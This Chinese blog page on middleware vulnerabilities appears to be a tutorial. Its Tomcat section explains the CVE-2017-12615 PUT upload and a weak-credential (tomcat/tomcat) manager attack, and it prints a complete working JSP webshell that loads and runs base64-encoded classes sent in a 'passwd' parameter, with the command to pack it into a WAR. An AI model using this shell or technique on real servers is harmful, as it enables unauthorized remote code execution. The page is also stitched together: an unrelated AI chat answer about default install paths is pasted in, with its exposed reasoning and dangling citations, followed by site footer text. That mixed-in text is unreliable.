中间件常见漏洞(后续补充)

中间件可以被简单理解为“中间商”或“中间桥梁”。

中间件就像是餐厅中的“服务员”:

  • 订单传递:服务员(中间件)从前台(应用程序)接收顾客的订单,然后将订单传递到厨房(数据库/服务)。
  • 沟通协调:如果厨房需要更多信息,服务员负责与前台沟通,确保订单准确无误。
  • 管理流程:服务员可以同时处理多个订单,确保厨房的工作有序进行,并且顾客不会等太久。
  • 安全保证:服务员确认顾客的身份(例如会员卡验证),确保订单处理的安全性。
  • 错误处理:如果厨房出现问题(比如原材料不足),服务员会通知前台,并处理好顾客的需求。

中间件就像是系统中的服务员,负责在前台和后台之间传递信息、管理流程、确保安全,并处理错误,从而让整个系统高效、可靠地运行

tomcat篇

tomcat 文件上传 (CVE-2017-12615)

这个比较简单,抓包改PUT 添加/路径 /..jsp/

访问即可:

Tomcat7+ 弱口令 && 后台getshell漏洞

Tomcat支持后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

访问登录框:tomcat/tomcat进去,后台上传Deploy页面

<!-- jsp一句话木马,连接密码是passwd -->
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class
g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[]
base64Decode(String str) throws Exception { try { Class clazz =
Class.forName("sun.misc.BASE64Decoder"); return (byte[])
clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object
decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[])
decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }
%> <% String cls = request.getParameter("passwd"); if (cls != null) { new
U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
} %>

打包成war包

jar cvf tomcat.war war.jsp

上传打包的tomcat.war 

生成一个tomcat的路径

<think>嗯,用户询问的是常见中间件的默认安装路径,这是一个很实用的系统管理问题。根据引用内容,可以看到用户之前关注过中间件配置漏洞和安全设置,说明ta可能是运维或安全人员,需要这些信息进行安全检查或环境部署。 从引用[2]中提取到了关键信息:RabbitMQ的默认安装路径是/usr/lib/rabbitmq,这很典型,因为Linux系统通常会把第三方软件放在/usr/lib或/opt目录下。引用[3]和[4]都提到了WebLogic的路径特征,即Middleware/user_projects/domains/这种结构,这是Oracle产品的典型安装模式。 考虑到用户可能需要完整清单,我整理了七种主流中间件的路径: - TomcatNginx作为基础服务通常放在/opt或/usr/share - WebLogic/Oracle特有的大写Middleware目录 - Elasticsearch这类现代工具偏好/usr/share - RabbitMQ明确在/usr/lib 特别标注了“默认”的注意事项,因为实际安装可能变化。用户之前关注配置漏洞(引用1),所以补充了配置文件位置,这对安全检查很重要。最后用警告符号强调权限问题,毕竟引用3提到过弱密码漏洞。 相关问题设计成递进式:从定位路径(基础)到安全配置(进阶)再到漏洞扫描(专业),覆盖用户可能的后续需求。特别是第3个问题关联到引用3的漏洞复现内容,应该很对用户胃口。</think>以下为常见中间件的默认安装路径整理,结合系统级实践和引用信息: ### 📁 常见中间件默认安装路径 1. **Tomcat** - Linux: `/opt/tomcat` 或 `/usr/share/tomcat` - Windows: `C:\Program Files\Apache Software Foundation\Tomcat[版本号]` - **关键配置**:`conf/server.xml`(端口/虚拟主机)[^1] 2. **Nginx** - Linux: `/usr/share/nginx` 或 `/etc/nginx` - 配置文件路径:`/etc/nginx/nginx.conf`(隐藏版本号/限制请求方法在此配置)[^2] 3. **WebLogic** - 核心路径:`Middleware/user_projects/domains/base_domain/` - 漏洞组件位置: ```bash Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat Middleware/wlserver_10.3/server/lib/wls-wsat.war ``` - *注:删除漏洞组件后需重启服务[^3][^4]* 4. **RabbitMQ** - Linux: `/usr/lib/rabbitmq` - 配置文件:`/etc/rabbitmq/rabbitmq.conf`(密码策略/虚拟主机)[^2] 5. **Elasticsearch** - Linux: `/usr/share/elasticsearch` - 安全配置:`config/elasticsearch.yml`(设置用户名/密码)[^2] 6. **Redis** - Linux: `/usr/bin/redis-server`(可执行文件) - 配置文件:`/etc/redis/redis.conf`(密码/开机自启)[^2] 7. **Nacos** - Linux: 解压路径通常为 `/usr/local/nacos` 或自定义路径 - 依赖Java环境(默认JDK路径:`/usr/lib/jvm/`)[^2] --- ### ⚠️ 注意事项 - **默认路径可能变化**:企业定制化安装或Docker容器会修改路径,需通过进程命令定位: ```bash ps aux | grep nginx # 查看Nginx实际路径 ``` - **配置文件优先级**:部分中间件加载顺序为 `安装目录/conf/ > /etc/[服务名]/` - **权限问题**:WebLogic的`user_projects`目录需Oracle用户权限[^3][^4] --- ### 🔍 相关问题 1. 如何快速定位中间件的实际安装路径?(如通过进程或环境变量) 2. 中间件配置文件加载顺序是怎样的?如何覆盖默认配置? 3. 如何安全加固中间件的默认安装(如删除测试页面、限制访问)?[^3][^4] > 引用说明: > [^1]: 中间件通过配置文件设定运行环境、端口、访问控制等参数。 > [^2]: Linux环境下中间件安装路径及安全配置方法。 > [^3][^4]: WebLogic漏洞组件路径及修复方案,需注意权限和重启操作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值